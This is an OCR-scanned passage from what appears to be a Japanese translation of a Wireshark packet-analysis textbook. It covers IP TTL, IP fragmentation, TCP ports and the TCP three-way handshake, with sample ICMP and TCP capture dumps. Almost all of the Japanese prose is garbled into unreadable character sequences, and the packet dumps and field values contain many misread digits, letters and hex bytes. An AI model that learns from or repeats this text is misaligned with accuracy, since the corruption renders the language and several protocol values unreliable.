Ny MHPEEESNL T TOR, 503NN 7 Y MSEBRTE LV — 5 OMEERT HDN, &
FEWER] (TTL) TF 6 TTLIZ S 7 v MAMEK E NS & FITEHR SN, BF /T v MV —F X - Tis
FEENDLTEIZ, 12T EE T, 722 21X BBy hOTTL 2084, wANICHE L
W—FIETTLZ 1S LTRON =Ny Mk LE T, ST o72v— %13 TTL%
ONEIR ST 720, 787y FNOBEIIRIEAZD Ry b T — 27 FIThWEE, X7y MafiEshE
¥ (R6-10)o TTLAEIZE R ERFINR—ATH D720, WIELTWEILV—F DA, TTLMEA1 LD
ZoTLEITENHVE T, LALEFIEZ 15DV —F 2B T 5T ICTTLA 17205 &
R LTS A,

TTLAEE R EEELZOTL L) 5?2 237y MOEFRERIZOWTE#RT L2001k, BHEEEILHO%
FTFTIZET L2 TT, LALEDS, MTARbOV—FZFHLT A =%y MlLD
RFETRHENEP LTI L LWy M2 EZTAEL L) ZORPTREICRDIDH DN —
FIZEOPINE, BN RN E B TERL L L URESHV T, TOV—F DFEICL 5T
STy MRy T =2 EERREICSEIIHEDLHLDOTT,

S
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X6-10 /37y MOTTLIRIVL—2 %8BT EICHD TS

Tur5 IV IORGNE oL B TH, MEN—FH ST ST RMEE &L, Tury
AROSENRZE 7Ty V28 TLEIRE LD LTORIBOMAYITLEI ) LI ENLRY T —
7 EOry hTHRILZDTT, V=SB4 LT X KT 587 v O 2 UL, DoS Ik
a2 Ty Ay T — 27 OFITTRERIRIGEFE L 3. 29 LMEZ MBS 572012, IPAy &
DTTL7 4 =NV EPELNT=DTT,

Wireshark T—#l% R CTAF L X 9, ip_ttl_source.pcap 7 7 £ W IZiE. 22 DICMP /3% v k3
GENTVET, ICMP (RETOBLIIEHM L ET) PP o Ty %> T05 T &I,
[Packet Details] 4 > DIP~y ¥t s a2 BT THEATEEYT (R6-11).

T ™y
[ 10.000000 10.10.0.3 192.168.0.128 ICMP Echo (ping) request DB o B [

Frame 1 (74 bytes on wire, 74 bytes captured)
Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:21:29:66:71:95 (00:21:29:¢
= Internet Protocol, Src: 10.10.0.3 (10.10.0.3), Dst: 192.168.0.128 (192.168.0.128)

@ version: 4
@ Header length: 20 bytes
pifferentiated Services Field: 0Ox00 (DSCP Ox00: Default; ECN: 0x00)
© Total Length: 60
Identification: 0x728d (29325)
Flags: Ox00
Fragment offset: 0
O Time to live: 128
| pProtocol: ICMP (0x01)
Ll Header checksum: 0x0000 [validation disabled]
@© sSource: 10.10.0.3 (10.10.0.3)
(6] Destination: 192.168.0.128 (192.168.0.128)
| Internet Control Message Protocol

< n ¥

0000 00 21 29 66 71 95 00 25 b3 bf 91 ee 08 00 ENOL
(N0 3c 72 Bd 00 00 80 01 00 00 Da Oa 00 O3 cO ag

0020 [Ny 08 00 4d 36 00 01 00 25 61 62 63 64 65 66 E H

0030 ©7 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 ghijklmn opgrstuv

0040 77 61 62 63 64 65 66 67 6B 69 wabcdefg hi i
s oy

F6-11 /X7y hDIPAy &

S




——

104 | 62 foTHELVTFETO NI

ZZTEL IPON=V 3 V340, Ny T RIZ20N1 b, Ny FEXRfu—FEHbElry b
R1360/51 O, TTL7 4 =V FOfEIZ128@TH B Z L 0%bhh 3,

ICMP ping ® E£7% HIIE, HEHMOBET AN TT . 7— 5 13d 200 o~ 7 T A+
ELTHELN, ZELEBEIZOF— 2L ARV AL LTRYEEL2TFIRVEEA, ZDT 7
AT, 7 FL210.10.03 082075, 7 FL 2192.168.0.128 D@~ ICMP ) 7 T A + %
FoTWET, TOF ¥ T F ¥ 774 Vi, HEILTH510.10.0.3 D TER SN TV E T,

4 Zip_ttl_destpcap 77 A VEFIEE L k9o TOT7ANTIR, TF— 73 TH 5 192.168.
0.128 THF X 7F ¥ ENTVE T, JLHD/ 7 bDOIPAy ¥ 2B &, TTLHEZ AT T (K6-12),

p
[ 1 0.000000 10.10.0.3 192.168.0.128 ICMP Echo (ping) request (e

Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
Ethernet II, Src: 00:21:29:66:71:94 (00:21:29:66:71:94), Dst: 00:21:70:c0:56:f0 (00:21:70:c0:56:T0)
= Internet Protocol, Src: 10.10.0.3 (10.10.0.3), Dst: 192.168.0.128 (192.168.0.128)

version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: pDefault; ECN: O0x00)
Total Length: 60
Identification: 0x728d (29325)
Flags: Ox00
Fragment offset: O
Time to Tive: 127@
protocol: ICMP (1)
Header checksum: Oxfdfe [validation disabled]
Source: 10.10.0.3 (10.10.0.3)
pestination: 192.168.0.128 (192.168.0.128)
Internet Control Message Protocol

a4 1 ] »

0000 00 21 70 cO 56 fO 00 21 29 66 71 94 08 00 EN

(OO0 3c 72 8d 00 00 7t 01 e 0a Oa 00 03 cO a8

0020 [efi:ly] 08 00 4d 36 00 01 00 25 61 62 63 64 65 66 ..MB.. .%abcde H
0030 &7 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76  ghijklmn opgrstuv

0040 77 61 62 63 64 65 66 67 68 69 wabcdefg hi i

"

K6-12 IPAyEZDS5TILA 1B LTWBDN HH S

ZOTTLAEA127(1) Ty HADTTLAE128 XD b 100N by 513 T Ay by —
I OREEERMNSRETH, 2O2H8DMERLEOMIZIZ1IAEDV—=FH), ZON—F &l 5 &
ECTTLEAS 1iRo o Efai o 5 2 e TE T,

6.24 IP7359X05—Y 3y (Bik1k)

NFyNDIZTATF—2ar (WL &, =% A M) — 2% X D/NE AW (fragment) 12
SETHIET, BHERKLAY VT — 27 ETOMRICEET E720DIPOEETT .

283y FOWT AL, FE2BOF—% ) 7@ 7a haldMTU (Maximum Transmission Unit)
AR, TNHOE2 TP AN Eflio TVLBEREORCICL>THAELET ZLDEA.
e TibhCwa 7abalidf =44y T3, £ —F %y bOF 74V bOMTUIZ 1500, 2
FOVAL—F Ay bRy T =2 ETREBTEL97 » bORKT A X1X15005f hEwH 2 &2kl &
T (4 =% 32w bAYF 5D 1454 IR,

S
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MTUIC R EBSEERB D ETH, BEOMTURFBH CEEECEET. MTUREG A
R V=T IARACEICERETE. W—DAVI—T T4 AEIFTIEL, Windows
N Lnux Y AT LATHEECEET,

HERRGHIIP Xy FOREHEMZ T L, Ny MR EINE Ay T =24 =72
ADOMTUHA XLy bOF =544 XL LT, 287y bR LT REPL ) DE Il L
9o 7= YA XHAMTU LY REITFHUE, 737y PR EShE$, 737 v bolf)r{bidko &
I HFIHTITbRET,

BRSNS T =S R RETEH0ICT =7 20007y MAEWIFEL 95

WAL SN2 %7 — 7 DY A4 XWZEGbE, IPAY TNy MET A=V IRZEELET,
WhD/83r Y b BRIz T XT84 v hOMF (More Fragments) 75 7% 112ty bLE T,
WAL SN E T Y "INy T DTG TAY ME Ty b T A=V REZELET,

Ny MRREINE T,

AN

ip_frag_source.pcap 7 7 £ Vi, 7 FL 2192.168.0.128 @ E ke ~ping ) 7 T A+ &% E L T
W57 FLZ210.10.0.3 DK A TR EN72H DT, [Packet List] 4 » @ [Info] # F 4121,
ICMP (ping) V) 7 T A M &, WKL SNZIP T v b A3 220H ) F 9,

FFELIOHD/ Ty bOIPAY FEFRTHEL 9 (R6-13)0

p
[l 10.000000 10.10.03 192.168.0.128 IP Fragmented IP protocol (proto=ICMP 0x01, off=0, ID=7474) [Reassembled in 23] [E=SRE=R

Frame 1 (1514 bytes on wire, 1514 bytes captured)
Ethernet II, Src: 00:21:29:66:71:94 (00:21:29:66:71:94), Dst: 00:21:70:c0:56:f0 (00:21:70:c0:56:F0)
B Internet Protocel, Src: 10.10.0.3 (10.10.0.3), Dst: 192.168.0.128 (192.168.0.128)
version: 4
Header Tlength: 20 bytes
pifferentiated Services Field: Ox00 (DSCP 0x00: Default; ECN: 0Ox00)
f Total Length: 1500
Identification: Ox7474 (29812)
= Flags: 0x01 (More Fragments)
0.. = Reserved bit: Not Set
.0. = pon't fragment: Not Set
..1 = More fragments: Set 1
Fragment offset: 0 @
Time to Tive: 127
protocol: ICMP (0x01)
Header checksum: 0xd677 [validation disabled]
Source: 10.10.0.3 (10.10.0.3)
pestination: 192.168.0.128 (192.168.0.128)
Reassembled TP in frame: 3
Data (1480 bytes)

0010 05 dc 74 74 Fy 00 7f 01 dé 77 0a Oa 00 03 cO a8 S A, -
0020 OO0 80 08 00 de 3a 00 01 00 39 61 62 63 64 65 66 ........ . 9abcdef =]
0030 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76  ghijkImn opgrstuv
0040 77 61 62 63 64 65 66 67 68 ©69 6a 6b 6c 6d 62 6f wabcdefg hijkIimno
0050 70 71 72 73 74 75 76 77 61 62 63 64 65 66 67 6B pglr;::.ltuvw abcdefgh a4

ANEN __EQ £~ Eh £~ £d £n &£ 7N 74 73 73 FA_FE _FE FT &1 e et

[6-13 MFETST AL Ty FOEDERTEILE NNy NCHBZEERLTVS

S
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106 | 62 HoTHELVTFIETO NI

MF75 7877 A E 72y 74—V R, 2087y MEIBTR LS 7287 v bo—FR
THLI DO FET, WIHILEN Ny M, 797 XAV 72y MOEDIEIC R > TW B0
MF7 570ty hENTWET, RAD/N7y b TIEME7 5 705y hENRTWA@DT, ZEMW
O T EHE Ty MORFEEHLHIT LI IRV ET, 757 AV M F 71y MOT0ICHE
ENTVEONDT, TO/37y "KL SN NOTRMH D/ Y v TH DB Wb ET,

2FHDNr Y bDIPAY 7 (K6-14) THOMF 75 7%ty PENTOETHO, 757 4V 7
7ty FOEIZ 1480 TT@. T 1500754 kO MTU DS, IPAY ¥ D 2054 b &G W2 BT T,

.
[ 2 0.000012 10.10.0.3 192.168.0.128 IP Fragmented IP protocol (proto=ICMP 0x01, off=1480, ID=7474) [Reassembled in = | =

Frame 2 (1514 bytes on wire, 1514 bytes captured)
Ethernet II, Src: 00:21:29:66:71:94 (00:21:29:66:71:94), Dst: 00:21:70:c0:56:Ff0 (00:21:70:c0:56:T0)
B Internet Protocol, Src: 10.10.0.3 (10.10.0.3), Dst: 192.168.0.128 (192.168.0.128)
version: 4
Header length: 20 bytes
Dpifferentiated Services Field: Ox00 (DSCP Ox00: Default; ECN: Ox0D0)
Total Length: 1500
Identification: 0x7474 (29812)
= Flags: Ox01 (More Fragments)
0.. rReserved bit: Not Set
0 pon't fragment: Not Set

..1 = More fragments: Set @

Fragment offset: 1480 2
Time to Tive: 127
Protocol: ICMP (0x01)
Header checksum: OxdSbe [validation disabled]

source: 10.10.0.3 (10.10.0.3)
Destination: 192.168.0.128 (192.168.0.128)
Reassembled TP in frame: 3

Data (1480 bytes)

< n o
0010 05 dc 74 74 FOWEE 7f 01 d5 be Oa Oa 00 03 €O a8  ..TCMM.. ..ec...- B
0020 00 B0 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e . .abcdef ghijklmn =1

0030 6f 70 71 72 73 74 75 76 77 61 62 63 64 65 66 67 opgrstuv wabcdefg
0040 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77  hijkimno pgrstuww
0050 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 abcdefgh ijkImnop i

ANEN 71 7D 73 74 _FE T& FT &1 &7 63 AA G5 66 AT _E® G0 nrcrianaa b AnF Ak

"

X6-14 T7ZT 42 b4 78y bOEIZINT Y MOY A XL THEZD

3FHD/ S v b (B6-15) TIEMF7 7 713ty PERTWRV@DT, ZhiEF—% A —

LADBBEDOINTry N THAZ D bPNET, 7I 7 A E 71y bOfiEid 1480 + (1500 — 20) @
2960 127 E SN TVETO. TNHDWHALENI 7 v M, IPAY FOST- 7 4 =V FOflE)
A—TH2OZ L, WFNRLFA L7y hO—HTHEEbNYFET,
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[ 3 0.000018 10.10.03 192.168.0.128 ICMP Echo (ping) request B o] = et

Frame 3 (582 bytes on wire, 582 bytes captured)
ethernet II, Src: 00:21:29:66:71:94 (00:21:29:66:71:94), Dst: 00:21:70:c0:56:f0 (00:21:70:c0:56:T0)
= Internet Protocol, Src: 10.10.0.3 (10.10.0.3), Dst: 192.168.0.128 (192.168.0.128)
version: 4
Header Tlength: 20 bytes
pifferentiated Services Field: Ox00 (DSCP Ox00: pefault; ECN: Ox00)
Total Length: 568
1dentification: Ox7474 (29812) ©
= Flags: Ox00
0.. Reserved bit: Not Set
i .0. = pon't fragment: NoT Set
..0 = More fragments: Not Set @
Time to live: 127
Protocol: ICMP (0x01)
Header checksum: Oxf8a9 [validation disabled]
source: 10.10.0.3 (10.10.0.3)
Destination: 192.168.0.128 (192.168.0.128)
[IP Fragments (3508 bytes): #1(1480), #2(1480), #3(548)]
@ Internet Control Message Protocol

Wl « [ i b

0010 02 38 74 74 7f 01 f8 a9 0a Oa 00 03 cO a8 .SttH .......... -
0020 00 80 69 6a &b 6c 6d 6e 6&f 70 71 72 73 74 75 76 .. ijklmn opgrstuv =
0030 77 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d Ge 6f wabcdefg nijkimno -

|| Frame (582 bytes) | Reassembled IPwd (3508 bytes)|

[6-15 MFA Ty hEhTWEVDTRED/ Ny NTCHBZ EDP DD D

6.3 TCP

TCP (Transmission Control Protocol) ® HIYl&, =¥ FHRA ¥ MHTTF— ¥ #fEFEICK%ET S
L9, RFC 793 THEFESNT WAL TCPIE, OSIZMETFNVOELIETHEL T, TCPIRT—5 D
MERE L 7 —FTIEZ ATV, 7 — ¥ SRS T REGINEFEITR DI LE T — b
WLT T r—aryE7abranvngh, TCPEIPIZE > Ty ME5EAICHZE L TWET,

6.3.1 TCPAvyY%
TCPAy & OB S & HAIUE, LHUEES CORBERIMEL TR A2 b2) $5. H6-16105R L
TVB LI, TCPAYF DT 4 =L FIRKRD &5 1o T ET,

RETHR— I ES
27y NOEBITHWSNLR— 5T,
SnkR—FES
28y RDSEEEINDDOR— T,
=L ABE
TCPEZ X Y b2l T 57200F 57, ZOTL—VRIEF—F A —2DORBEF 72
DIfELNE T,

S
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HREEES (ACKES)
BEDOHTREEN S ZITWMAEHFS T, ROy MCEINLZ LM ENE Y —r 2
%%O
759
EESINIZTCP Yy b7 4 T 5 DT, URG, ACK, PSH, RST. SYN. FIN
T 7DBHNET,
4RI A4 X
INA VAL OZAEM DNy 7 794 X,
Frv YL
TCP Ay & 57— % ONED., FIERICEEIN TRV E2ERTL7201ibhE T,
RaR/14
URG7 5 7%ty bL72HA, TOT74—=IVFIZXD, CPUMPYT Yy NADTFT—F 2 T Hh
SHAMRDHREDPEHRRLET,
*7ar
TCP/$7r v NCIRETEL8FEFE AT ar 74—V,

TCP
EMT o3 4-7 8-15 16-31
0 RETR—MES sasR— hES
32 I—rIRES
64 ACKES
7% : =5 s .
96 | 45pyn| THE 759 DAV RIHAR
128 FrvIY L VL
160 FTvav
X6-16 TCPAyZDiEE
632 TCP 7ﬁ— I“ tcp_ports.pcap

FTRTOTCPMBEILEFBILLALEDOR— 2o TIrbNET, TIITCPAY FHh bbb
To R—bid, FOBHFRBHDOT vy 7 DLI) b DTT, BREILKWHOARL—FiL, 74 M &
TITEERLTOWET, 54 M0ks L, BREOPT T 0% X, #HICEEZ N 2000 ETA,
PFFEFELEVHT (ZFF) 27— TV TOREET, TRTOBEFIERETE— (BEF
OPFF) LsideR—1 (ZFF) PLETT, TCPR—-FHIFFFE L) ICHELE T,

JE— M= R LICHLEEDT TV r =2 a V2T — 7 # % ETAI121E, TCP/ 37 v bAY

S




——

63 TCP | 109

RHHEZTTVEYE— M —VYADKR— 2 Mo T RITER ) A, REFADF— FUILO
R—=MIT7EALLH T2 L, BEICEMLTLEVET,

EEILA—ME SORYVPRYOPTEIUIEEETIIRL, F YT AMTERI LN TEEIT, JE—
M= N, BEENTERLITLA DTy b2 s, BEICHEI K- PE2guE LET (R6-17),

R(E7T1024F KR — b /58580F R—F ——P

(e
— EETOBR— b FIE1024FR—h —— ?

WebH—/\
IIAT R B80FR— P CTHERIS

iy

BRETI21FER— b 5EH 5B R~ ——P

— EFER— 553221 E Kb \

EX—=)LH =N
5B R— M TRBERF

[6-17 TCPRKR—reE>TT7—2%%FT5

TCP THlfEI M2 5 H— ME65,535MHH Y, —HEIZ2DDF V=TT ENTEE T,

e 1751023 X THRELE—RR—bITI—F"TF (0 FHRFEALZOTHEILET ), H—FE
Ao TV BEEHED R — bFre DL DS, BHER— NV —THNOR—- Lo TVET,

® 10240565535 F TALT T A TFIWKR— R I—FTF (7272L0SICL o T DEHA
NEF)e EARLEETH, IHOR-ITHETELDRI12DF -V AT HDOT, B O0S
X, R—FOEHEZMITL720I0, BETR— P T v FAGERLET, 29 LARETR—
MI. =72 A9V KR—TOHPICADE T,

tep_ports.pcap 7 7 A W& FHWT, WODPDTCP/ 37 v M &S 52 & Ty 237 v MMflio T
HR=IFEZEHBINLTATILI)D ZDT7ANIIE, 20O WebH A + 2757 ALTWET 54
7 Y FOHTTPHEEA G ENTVE T, ik L7z2& 912, HTTPIZEEICTCP 2T 20T, Zh
MR TCP I 74y 7 DRV Y IV ERDFT,

DT 7 ANDERPO/y M TR (R6-18). A D2 ODED 7 v bOREIFILAR— b & s R —
FERLTVET, 20857y M, 172.16.16.128 20 5 212.58.226.142 %[5 S TwE §, %EIC
H—MI2826@T, T7x X FNF— T GEETLHR—MIOSAT Y FAILERT 2 EV)I Z e %
B LTSV, BT Y FAIGRRSNHF T L) REVENMEIDNLE L HD ET), %k

T OEEE HARTEY =V v v R— b (wellknown port) EI:HEND Z L% e BnEd,

S
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N0 | 62 fMoTHELVTFIETO NI

A MIEEDOR - THB80FR—1TTO, ZDFR—MIHTTP ZHEH T 5 WebH— ¥ Z25F]
T5H5HDTT,

[ 10.000000 172.16.16.128 212.58.226.142 TCP slc-systemlog > http [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=2 [E=REER

Frame 1 (66 bytes on wire, 66 bytes captured)

Ethernet II, Src: IntelCor_5b:7d:4a (00:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (00:05:5d:21:99:4c)
Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 212.58.226.142 (212.58.226.142)

= Transmission Control protocol, src Port: slc-systemlog (2826), Dst Port: http (80), seq: O, Len: O

Source port: slc-systemlog (2826) @
pestination port: http (80) 9
[stream index: 0]
Sequence number: O (relative sequence number)
Header Tlength: 32 bytes
Flags: 0x02 (sYN)
window size: 8192
checksum: Oxcfeb [validation disabled]
options: (12 bytes)

0010 00 34 31 7f 40 00 80 06 55 eb ac 10 10 80 d4 3a .41.@... D......: -

(ieediamy g 0b Oa 00 50 dc 02 24 74 00 00 00 00 80 02 oe 3
WEVENC0 00 cf eb 00 00 02 04 05 b4 01 03 03 02 01 01 E|
0040 RNV

[6-18 TCPAYHISRETR— FETER— M EFHTND

Wireshark TlZ 21 5 DR — M sle-systemlog(2826) & http(80) &) TV 21T T 5 JHIC
WHELTLE S, WiresharkidR— b5 L, 20— ZHEO—-BEZFHLTVWET, b
DR=TMIFICAY VF—=FR=PFTTH, EROTT 2 ATV R— ;P —ECRHY R THNT
WET, K= DT XVIEFITORPDII Iz, ZEIFREZIFNICLTBEEL L) TNEATD
121Z, A =2 =25 [Edit] — [Preferences] — [Name Resolution] % #4R L. [Enable Transport
Name Resolution] OO F v 72 L E T, ZORBEIIHROF FI1ZL T, Wireshark 2845 &
DR—=MIEGFTLIRNVAHLETEERE L72wEEE, Wireshark 7027 7474 L7 M) IZH D
[Services| 774 VW BIELE 3, D7 74 WVIZIANA (Internet Assigned Numbers Authority)
DO—M AR — b —EE2 LI L TWE T,

27 HDr v M, 212.58.226.142 7> 5 172.16.16.128 N L %D K X723 D TT (K6-19). IP 7
FLAFBE REICE5ER— MEANEDb->TETO,

FTRTOTCPHEMED, T ¥ ¥ MBI NIRE TR — PO LR — P E@E T2 L WH BT
TTONET WOy " %ESND L, ) E— bOMERIEEIMHL SNI2R— & Mlio TREETT
LHfELET,

COHYTVDF Y TF ¥ T 7 AN DI OEDMEBEAN) —AHEEFNTHFE T, MWFICHE
HEINIAR - FGEHELTAEL L)
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i 210132627 212.58.226.142 172.16.16.128 TCP http > slc-systemlog [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 M55=1406 W5=7 E@u

Frame 2 (66 bytes on wire, 66 bytes captured)

Ethernet II, Src: D-Link_21:99:4c (00:05:5d:21:99:4c), Dst: IntelCor_5b:7d:4a (00:21:6a:5b:7d:4a)

Internet Protocol, Src: 212.58.226.142 (212.58.226.142), Dst: 172.16.16.128 (172.16.16.128)

= Transmission Control Protocol, src Port: http (80), Dst Port: slc-systemlog (2826), Seq: 0, ack: 1, Len: 0

osource port: http (80)
Destination port: slc-systemlog (2826)
[stream index: 0]
Sequence number: 0O (relative sequence number)
Acknowledgement number: 1 (relative ack number)
Header length: 32 bytes

Flags: O0x12 (5YN, ACK)
window size: 5840

checksum: 0x%9ac0 [validation disabled]

options: (12 bytes)

[seq/ack analysis]

0010 00 34 00 00 00 00 31 06 16 6b d4 3a e2 8e ac 10

0020 30 Bc dc 02 24 75 BO 12
0030 05 7e 01 01 04 02 01 03 H
0040

REZEFTHMED D IRV, —BHETO NPT —ERICEIDHTESNER—KMID
WCOHBHAEDBITRFDTL LD TDDBICEO>TLDR— b ZRENIE, FEHNT
WD —EREBEEBNDNDLDICHEDETT, —RWER— FESOREBENLE—E
[ZDWTIE, http://www.iana.org/assignments/port-numbers/ 288 U T EE W,

6.3.3 TCPD3DxAI\VRITA4D [ tcp_handshake.pcap|
TCP T 5EIE, LT 2 00BMONS RS AT THEINET, N Y oA 7 OB
X, WO HN E T,

o EISTCOMELIA. SO ERESIERETE L L IICLE T,

o LETLOEA, RETVBEELLILELTVAR—FTEHELZTIN TN TSI 2R

TELEHICLET,
o REEILOWBRVZEBIINT T Y — 7 ¥ 2AF5OREEIT V. WtEERE T X7 v FONEF
HERETHEIIICLET,

TCPHY FY A ZIZE32DATy 7056 ) 7 (R6-20). ADAT v 7T, lfE &7 V20w
Bk (RANA) 1335 GRAMB) ICTCP S v b2 %D 5, SORMO/ v M2, THEO T
ORIy FUNDT—FIEEEITNTETA, 2Dy POTCPAY FIZIESYN 7 7 755ty
FENTHED, WELIICHEDLNE RO — 7 v AF5 L MSS (Maximum Segment Size) 258 %
NTWET, FAMBIRZO/7 » MIBE L. SYN7 I 7L ACK7 I 705y b&, IO —
T AF G R GALEFRRONN Ty MR )R LE T, mBEICKAMAIR, ACK7 7 7 DAN Ly M&
N2y bERARBIZED F 3, ZOMBARE T T 5L, BEMBICLELRTXTORHRE.
MARZ MDHEOZ LR T,

S
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N2 |68 fMoTHELVTFIETO NI

[ SYN

< SYN/ACK

[ ACK

TCPI\T w MMa. Y bENETSTDRFTIHEEND CEDRLKHDET, & X E
SYNTSIhtzy SN/ y MES, SYNIWT w hEFURT . DEODTCP/\V R
VIAOTOBATHEDNDINT v MME SYNIKT w b~ SYN/ACK/{T v . ACKIX
Ty REEDET,

tcp_handshake.pcap Z B &, ZOMHZ EBICH THAF L & 9 Wireshark(Zid, TCP 37 » + @
= VAR LR T WS ICHE Z IR SEENH ) E T EEOY T Y AFEE AL
B, STTIRTOEREREMICLTBEF T, ERITTHI21E, A= 2—75 [Edit] — [Preferences]
Z#IR L. [Protocols] AT TH 5 [TCP] #:EI L 9, KIZ [Relative sequence numbers and
Window scaling] "TOBDF v 7Ky 7 2%+ 712U, [OK] Ky v %270y LET,

WA D737y MESYN S v b TY (R6-21)0 TD737 v ME172.16.16.128 D 2826 TR — 5,
212.58.226.142 D 80 F AR — MEE LN TVE T, HFBILEIN/Y —F7 v AFHF 5133691127924 Th
L@ ET,

2FH D/ v M, 212.58.226.142 55 DIE%E & % A SYN/ACK ¥ 7 v b TY (K6-22), T D8
7y ME, A — 4 v A% T (233779340) @& ACKH 7 (3691127925) @ &G EN T3,
ACKZF 51, BRI LELNTELY = Y AFFIZ1 2 MATZDDIC > T ET, KITZITI
LILEMHETLY = VAT GOREIHDNEDNRZDT 4 =V RN TT,

WED/r Y ME, 172.16.16.128 0 53% 515 ACK2¥7 v M TF (R16-23)0 D737 » M2iE, %
ZEDT v POACKEFE T 74—V RIZHotzy — 7 v AFF53691127925@ 05 E T 9,

TCPEEDHIIZLITNY P o 70 TbE T, HYDTHxTho LicFy I Fy 7740
THEOWHE N EMET 5. SYN-SYN/ACK-ACKD Y —7 Y AN HEIE ) F9,

T EEUE  BREA51.8.0, 1.6.8, 1.0.15% DN — 3 CTHEFL L 72 ) Ti&. [Relative sequence numbers and
Window scaling] ¥\ ) F = v 7Ry 7 Z3HFELFTHATLZ. b0 IZ [Relative sequence numbers] &9
F v IR VAP LTHETOT, TNEF v 7352 TGO BbhEd,

S
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. 1 0.000000 172.16.16.128 212.58.226.142 TCP slc-systemlog > hittp [SYN] Seq=3691127924 Win=8192 Len=0 M55=1460 W5=2 E@E
Frame 1 (66 bytes on wire, 66 bytes captured)

ethernet II, src: Intelcor_5b:7d:4a (00:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (00:05:5d:21:99:4c)

Internet Protocol, src: 172.16.16.128 (172.16.16.128), Dst: 212.58.226.142 (212.58.226.142)

Transmission control Protocol, ystemlog (2826 http (80) 3691127924, Len: 0

Source port: slc-systemlog (2826)
Destination port: http (80)
[stream index: 0]
Sequence number: 3691127924 o
Header length: 32 bytes

= Flags: 0x02 (SYN)

L 0... . = Congestion window Reduced (CWR): Not set
i ECN-Echo: Not set
| Urgent: Not set
| Acknowledgement: Not set i
l Push: Not set
i RESeT: NOT 5er
| . Syn: Set
cev. ...0 = Fin: NOT ser
window size: 8192
Checksum: Oxcfeb [validation disabled]
E options: (12 bytes) I
Maximum segment size: 1460 bytes
| NOP
| wWindow scale: 2 (multiply by 4)
NOP
i NOP
SACK permitted
|
0010 00 34 31 7f 40 00 80 06 55 eb ac 10 10 80 d4 3a ale. .. o

[oslva VR T J0b O0a 00 50 dc 02 24 74 00 00 00 00 80 02

W=Vl 0 00 cf eb 00 00 02 04 05 b4 01 03 03 02 01 01 EI
0040  [DERNVr

[6-21 HADSYN/Nr b

- 20.132627 212.58.226.142 172.16.16.128 TCP htip > slc-systemlog [SYN, ACK] Seq=233779340 Ack=3691127925 Win=5840 Len=0 M55=1406 WS=7 @

Frame 2 (66 bytes on wire, 66 bytes captured)
Ethernet II, src: D-Link_21:99:4c (00:05:5d:21:99:4c), Dst: Intelcor_5b:7d:4a (00:21:6a:5b:7d:4a)
Internet Protocol, Src: 212.58.226.142 (212,58.226.142), Dst: 172.16.16.128 (172.16.16.128)
= Transmission control protocol, src Port: http (80), Dst Port: slc-systemlog (2826) eq: 233779340, Ack: 3691127925, Len: 0O
Source port: http (80)
pestination port: slc-systemlog (2826)
[stream index: 0]
Sequence number: 233779340 o
fl Acknowledgement number: 3691127925 e
Header length: 32 bytes
Flags: 0x12 (S5YN, ACK)
. = congestion window Reduced (CwR): NoT setr
ECN-Echo: Not set
urgent: Not set
Acknowledgement: set
Push: Not set
ReSET: NOT set
..1. = syn: set
+v.. ...0 = Fin: NOT setr
window size: 5840

m

checksum: Ox9ac0 [validation disabled]
= options: (12 bytes)
Maximum segment size: 1406 bytes
NOP
NOP
SACK permitted
NOP

window scale: 7 (multiply by 128)
[sEQ/ACK analysis]

X6-22 SYN/ACKIEE /Ny b




114 | 6& HAloTHFELWTFIEZONIL

i 30.132768 172.16.16.128 212.58.226.142 TCP slc-systemlog > hitp [ACK] Seq=3691127925 Ack=233779341 Win=4218 Len=0 E‘Eu
Frame 3 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: IntelCor_5b:7d:4a (00:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (00:05:5d:21:99:4c)
Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 212.58.226.142 (212.58.226.142)
= Transmission control Protocol, src Port: slc-systemlog (2826), Dst port: hrtp (80), seq: 3691127925, Ack: 233779341, Len: O
source port: slc-systemlog (2826)
pestination port: http (80)
[stream index: 0]
sequence number: 2691127925 o
Acknowledgement number: 233779341
Header Tength: 20 bytes
= Flags: 0x10 (ACK)
[+ TR = congestion window Reduced (CWR): Not set
.0.. .... = ECN-Echo: Not set

..0. .... = Urgent: Not set
...1 .... = Acknowledgement: set
. 0... = push: Not set
.0.. = Reset: Not set
..0. = syn: NoOT set
....... 0 = Fin: Not set
window size: 4218
checksum: Oxelb2 [validation disabled]
[sEq/ack analysis]

0000 00 05 5d 21 99 4c 00 21 6a 5b 7d 4a 08 00 45 00
0010 00 28 31 80 40 00 80 06 55 f6 ac 10 10 80 d4 3a

[P WOobh 0a 00 50 dc 02 24 75 Od ef 30 &d 50 10
(EIVI0 7a el b2 00 00

[6-23 &wmIEDACK/ Ty b

6.3.4 TCPDF« 759 (YIk)

EABBEVIZDINEDEDLDTTH, TCPAY Ry oA 212 T4 T8 vHHYE§, TCP
DFATEI L, BEEHRZ2OOBERGHOIA T ¥ a V2 IEHICKT 2E20ICHVWLR
HHDTT o TOMBIIZAE D/ v b0 0b0, 3372 a O TERTHDELTFINT S
IhflibhEd,

FAT Y TR FAMAIZERAMBIZFIN7 572 ACK7 9 793ty bENI2TCP/ S v M2
D, axrTaroRTEMSEET, AANBIZACK N7 v FTIB& %, B D FIN/ACK 37 v

Mgk ETo THTHLAZAMAIRACK Y7 v FTIBE L, BENKT LET, ZOREE AL
L7zDHR6-24 TY o

FIN/ACK
ACK
% FIN/ACK
KA PA
| ACK

X6-24 TCPT 1 75> DR




——

6.3 TCP |

tep_teardown.pcap 7 7 4 V& BT, OB A Wireshark TR TAE L & 9o D37 v b
